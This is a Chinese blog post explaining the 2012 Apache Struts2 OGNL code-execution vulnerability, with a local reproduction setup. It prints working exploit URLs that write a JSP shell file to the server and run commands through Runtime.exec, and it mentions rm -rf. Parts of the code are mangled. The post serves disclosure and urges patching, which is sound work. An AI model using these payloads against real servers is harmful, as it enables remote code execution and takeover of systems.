struts2代码执行漏洞

请注意,本文编写于 2598 天前,最后修改于 119 天前,其中某些信息可能已经过时。

刚刚@乌云-漏洞报告平台公布的struts2代码执行漏洞,具体的漏洞说明地址

https://www.sec-consult.com/files/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt

还是热乎的,我大概白话一下。

这个漏洞的级别很高,都升级修补一下。

影响版本是2.3.1和2.3.1之前的版本

解决办法是升级2.3.1.1

漏洞原理(自己理解的)

Struts2的核心是使用的WebWork,处理Action时通过ParametersInterceptor(参数过滤器)调用Action的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL语句。

例如

处理请求配置这样

<action name="Test" class="example.Test">

    <result name="input">test.jsp</result>

</action>

通过ONGL就可以转换成

/Test.action?id='%2b(new+java.io.BufferedWriter(new+java.io.FileWriter("C:/wwwroot/sec-consult.jsp")).append("jsp+shell").close())%2b'

oh!god!系统权限就有了,想干什么,就可以干什么了。

或者这样

/Test.action?id='%2b(%23_memberAccess["allowStaticMethodAccess"]=true,@[email protected]().exec('calc'))%2b'

想执行什么就可以执行什么了。比如 rm –rf /root..

我根据说明做了一下测试

jdk:1.6

struts:2.2.1

代码如下:

struts.xml

1:<?xmlversion="1.0"encoding="UTF-8" ?>




2:<!DOCTYPEstrutsPUBLIC




3:"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"




4:"http://struts.apache.org/dtds/struts-2.0.dtd">




5:<struts>




6:<packagename="default"namespace="/"extends="struts-default">




7:<actionname="test"class="me.dapeng.action.Test">




8:<resultname="input">test.jsp</result>




9:</action>




10:</package>




11:</struts>






Test.java







1:package me.dapeng.action;




2:  




3:import com.opensymphony.xwork2.ActionSupport;




4:  




5:/**




6:*




7:* @ClassName:Test.java.java




8:* @ClassDescription:测试Struts2漏洞




9:* @Author:dapeng




10:* @CreatTime:2012-1-9 下午1:45:36




11:*




12:*/




13:publicclass Test extends ActionSupport {




14:long id;




15:  




16:     @Override




17:public String execute() throws Exception {




18:         System.out.println("execute input");




19:return"input";




20:     }




21:  




22:publiclong getId() {




23:return id;




24:     }




25:  




26:publicvoid setId(long id) {




27:this.id = id;




28:     }




29:  




30: }






test.jsp







1: <%@ page language="java"import="java.util.*" pageEncoding="ISO-8859-1"%>




2: <%@ taglib prefix="s" uri="/struts-tags"%>




3: <br>




4: <s:property value="id" />






请求URL



http://localhost:8080/test/test.action?id='%2b(new+java.io.BufferedWriter(new+java.io.FileWriter("C:/create.jsp")).append("jsp+shell").close())%2b'



结果:



通过URL产生了自定义的文件,如果你想执行什么脚本都可以了。



http://images.dapeng.me/dapengme/2012/01/struts2_B205/struts2_holes_thumb.jpg



我也值测试了其中一种情况,其他的漏洞测试就不做了,没升级到安全版本的,赶紧升级吧!最近的安全问题很多的,别等出了安全问题,再想办法,亡羊补牢,为时已晚已!

← 上一篇 下一篇 →
Comments

添加新评论